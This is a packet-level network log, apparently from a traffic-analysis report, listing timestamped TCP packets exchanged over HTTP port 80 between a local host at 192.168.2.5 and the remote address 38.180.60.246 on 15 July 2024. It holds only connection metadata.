Jul 15, 2024 00:48:25.000935078 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:25.000941038 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:25.000951052 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:25.000960112 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:25.000961065 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:25.000972986 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:25.000979900 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:25.000983000 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:25.000993967 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:25.001007080 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:25.001023054 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:25.001319885 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:25.001331091 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:25.001348972 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:25.001359940 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:25.001529932 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:25.001542091 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:25.001550913 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:25.001562119 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:25.001575947 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:25.001596928 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:25.002439022 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:25.002440929 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:25.002448082 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:25.002459049 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:25.002500057 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:25.002500057 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:25.003062010 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:25.003072977 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:25.003082037 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:25.003093004 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:25.003102064 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:25.003103018 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:25.003109932 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:25.003113031 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:25.003123999 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:25.003129005 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:25.003140926 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:25.003140926 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:25.003150940 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:25.003175974 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:25.003201008 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:25.003201008 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:25.003201008 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:25.003262043 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:25.003273964 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:25.003283978 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:25.003294945 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:25.003298044 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:25.003305912 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:25.003324986 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:25.003326893 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:25.003331900 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:25.003335953 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:25.003335953 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:25.003365040 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:25.003983021 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:25.003994942 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:25.004004002 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:25.004010916 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:25.004014015 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:25.004024982 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:25.004029036 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:25.004035950 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:25.004041910 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:25.004045963 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:25.004055977 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:25.004070997 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:25.004072905 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:25.004079103 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:25.004085064 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:25.004093885 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:25.004101038 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:25.004103899 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:25.004112959 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:25.004122972 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:25.004123926 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:25.004132032 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:25.004137039 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:25.004137993 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:25.004148006 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:25.004158020 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:25.004169941 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:25.004174948 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:25.004180908 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:25.004189968 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:25.004203081 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:25.004228115 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:25.004229069 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:25.004229069 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:25.004833937 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:25.004879951 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:25.005338907 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:25.005352020 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:25.005364895 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:25.005390882 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:25.005407095 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:25.006251097 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:25.006266117 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:25.006277084 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:25.006289005 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:25.006299973 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:25.006306887 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:25.006306887 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:25.006310940 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:25.006321907 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:25.006325960 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:25.006333113 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:25.006344080 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:25.006355047 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:25.006366014 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:25.006366014 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:25.006377935 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:25.006386042 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:25.006386042 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:25.006390095 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:25.006401062 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:25.006412029 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:25.006412029 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:25.006422997 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:25.006431103 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:25.006434917 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:25.006462097 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:25.006494999 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:25.006494999 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:25.007267952 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:25.007281065 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:25.007292032 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:25.007303953 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:25.007318020 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:25.007328987 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:25.007340908 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:25.007344007 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:25.007352114 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:25.007363081 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:25.007375002 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:25.007381916 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:25.007381916 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:25.007381916 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:25.007386923 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:25.007405996 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:25.007438898 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:25.008156061 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:25.008168936 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:25.008181095 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:25.008193016 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:25.008203983 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:25.008204937 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:25.008213997 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:25.008227110 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:25.008236885 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:25.008240938 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:25.008249044 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:25.008260012 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:25.008261919 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:25.008270979 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:25.008277893 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:25.008282900 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:25.008291960 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:25.008294106 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:25.008306026 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:25.008316994 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:25.008322001 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:25.008327961 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:25.008338928 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:25.008349895 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:25.008372068 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:25.009100914 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:25.009113073 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:25.009121895 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:25.009129047 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:25.009133101 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:25.009145021 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:25.009155989 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:25.009156942 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:25.009166956 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:25.009176970 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:25.009177923 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:25.009190083 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:25.009195089 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:25.009201050 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:25.009211063 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:25.009222984 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:25.009234905 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:25.009236097 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:25.009247065 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:25.009259939 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:25.009260893 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:25.009274006 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:25.009284019 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:25.009284973 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:25.009287119 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:25.009294987 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:25.009299040 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:25.009327888 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:25.009352922 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:25.009835958 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:25.009849072 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:25.009860992 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:25.009874105 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:25.009885073 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:25.009887934 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:25.009896994 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:25.009907961 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:25.009907961 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:25.009908915 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:25.009921074 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:25.009932041 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:25.009943008 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:25.009943008 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:25.009943008 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:25.009959936 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:25.009963989 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:25.009970903 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:25.009979010 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:25.009983063 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:25.009994984 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:25.010006905 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:25.010008097 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:25.010019064 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:25.010030031 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:25.010040998 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:25.010040998 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:25.010063887 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:25.010072947 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:25.010073900 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:25.010090113 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:25.010379076 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:25.010391951 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:25.010401964 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:25.010413885 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:25.010423899 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:25.010428905 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:25.010445118 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:25.010445118 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:25.010478973 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:25.010596991 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:25.010608912 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:25.010618925 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:25.010626078 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:25.010629892 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:25.010633945 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:25.010641098 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:25.010653019 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:25.010663033 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:25.010663986 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:25.010663986 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:25.010675907 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:25.010688066 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:25.010700941 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:25.010704041 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:25.010704041 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:25.010704994 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:25.010710955 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:25.010723114 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:25.010732889 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:25.010735035 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:25.010750055 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:25.010761023 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:25.010760069 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:25.010762930 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:25.010771990 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:25.010785103 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:25.010797024 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:25.010807037 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:25.010808945 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:25.010821104 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:25.010833979 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:25.010840893 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:25.010848999 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:25.010848999 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:25.010869980 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:25.010894060 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:25.010894060 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:25.011492014 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:25.011504889 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:25.011516094 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:25.011535883 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:25.011542082 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:25.011548042 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:25.011559010 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:25.011564970 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:25.011564970 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:25.011570930 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:25.011583090 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:25.011604071 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:25.011604071 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:25.011622906 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:25.011635065 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:25.011641026 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:25.011641026 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:25.011651039 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:25.011686087 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:25.012479067 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:25.012535095 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:25.013645887 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:25.013659000 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:25.013670921 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:25.013684988 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:25.013696909 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:25.013708115 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:25.013708115 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:25.013709068 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:25.013719082 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:25.013721943 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:25.013734102 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:25.013773918 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:25.013781071 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:25.015480995 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:25.015494108 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:25.015503883 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:25.015516043 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:25.015527964 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:25.015538931 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:25.015547991 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:25.015552044 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:25.015559912 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:25.015564919 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:25.015571117 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:25.015577078 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:25.015590906 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:25.015593052 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:25.015604019 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:25.015611887 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:25.015614986 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:25.015626907 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:25.015635967 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:25.015636921 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:25.015660048 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:25.015687943 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:25.016247034 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:25.016259909 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:25.016269922 CEST	80	49704	38.180.60.246	192.168.2.5
